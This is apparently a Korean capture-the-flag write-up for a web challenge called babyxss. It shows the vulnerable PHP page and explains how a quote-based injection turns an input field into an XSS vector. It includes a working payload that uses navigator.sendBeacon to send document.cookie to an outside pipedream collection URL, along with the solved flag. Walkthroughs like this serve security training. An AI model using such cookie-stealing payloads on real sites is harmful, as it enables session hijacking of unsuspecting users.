[Swing CTF] Web-babyxss
babyxss
문제 링크: http://swingctf.hspace.io:8080/challenges#babyxss-4
<문제 코드>
<?php
if(isset($_GET['src'])) {
highlight_file(__FILE__);
die();
}
?>
<html>
<body>
<p>
if you succeeded execute script, you can report it <a href="report.php">here</a>!<br>
<a href="?src=1">view source code</a>
</p>
<form>
<input type="text" name="q" value="<?php echo substr($_GET['q'],0,10) ?>">
<input type="submit">
</form>
<script>
// var q = '<?php echo htmlspecialchars(preg_replace("/[\r\n\/]/mis", "", $_GET['q']),ENT_QUOTES) ?>';
</script>
</body>
</html>
q 파라미터를 통한 우리의 input이 2부분에 들어가게 된다.
1. input 태그의 value 안에 들어가는 파라미터 p
substr($_GET['q'],0,10)
<< input tag에는 10자만 들어가기 때문에 이벤트 핸들러를 쓸 수 없다.
*이벤트 핸들러(event handler)
웹 페이지에서는 수많은 이벤트가 발생하고 특정 요소에서 발생하는 이벤트를 처리하기 위해서는 이벤트 핸들러라는 함수를 작성하여 연결해야 한다. 이벤트 핸들러가 연결된 특정 요소에서 지정된 타입의 이벤트가 발생하면, 웹 브라우저는 연결된 이벤트 핸들러를 실행한다.

2. script tag 안으로 들어가는 파라미터 p
htmlspecialchars를 이용한 필터링과 주석으로 인해서 script 실행이 불가능하다.
*htmlspecialchars
이 함수는 문자열에서 특정한 특수 문자를 HTML 엔티티로 변환한다.

script tag 내부에선 htmlspecialchars로 인해 쿼터를 쓸 수 없지만 input tag 쪽에선 별다른 필터링이 존재하지 않아서 싱글 쿼터사용이 가능하다. input tag에서 single quote를 이용하여 아래 script tag까지 input tag에 포함시킨 다음 이후 들어가게 되는 q 값을 이용하여 xss를 진행할 것이다.
http://swingctf.hspace.io:13371/?q=%22%20b=%27%20onfocus=alert(30)%20autofocus%20b=%27
알림창이 잘 뜨는 것을 확인할 수 있다.

pipedream이라는 사이트에서 가상주소를 생성해준다.

http://swingctf.hspace.io:13371/?q=%22%20a=%27%20onfocus=navigator.sendBeacon(`https://eo7h5plej4qua5o.m.pipedream.net/`,document.cookie)%20autofocus%20a
이 링크를 report에 제출해준다.

그럼 이렇게 결과?가 전송된다!

플래그를 확인해 볼 수 있다.
SWING{08e37ce0636ad9796900a180f2539f3110648e4f2c1b541bc0d4d3039e6b3251}

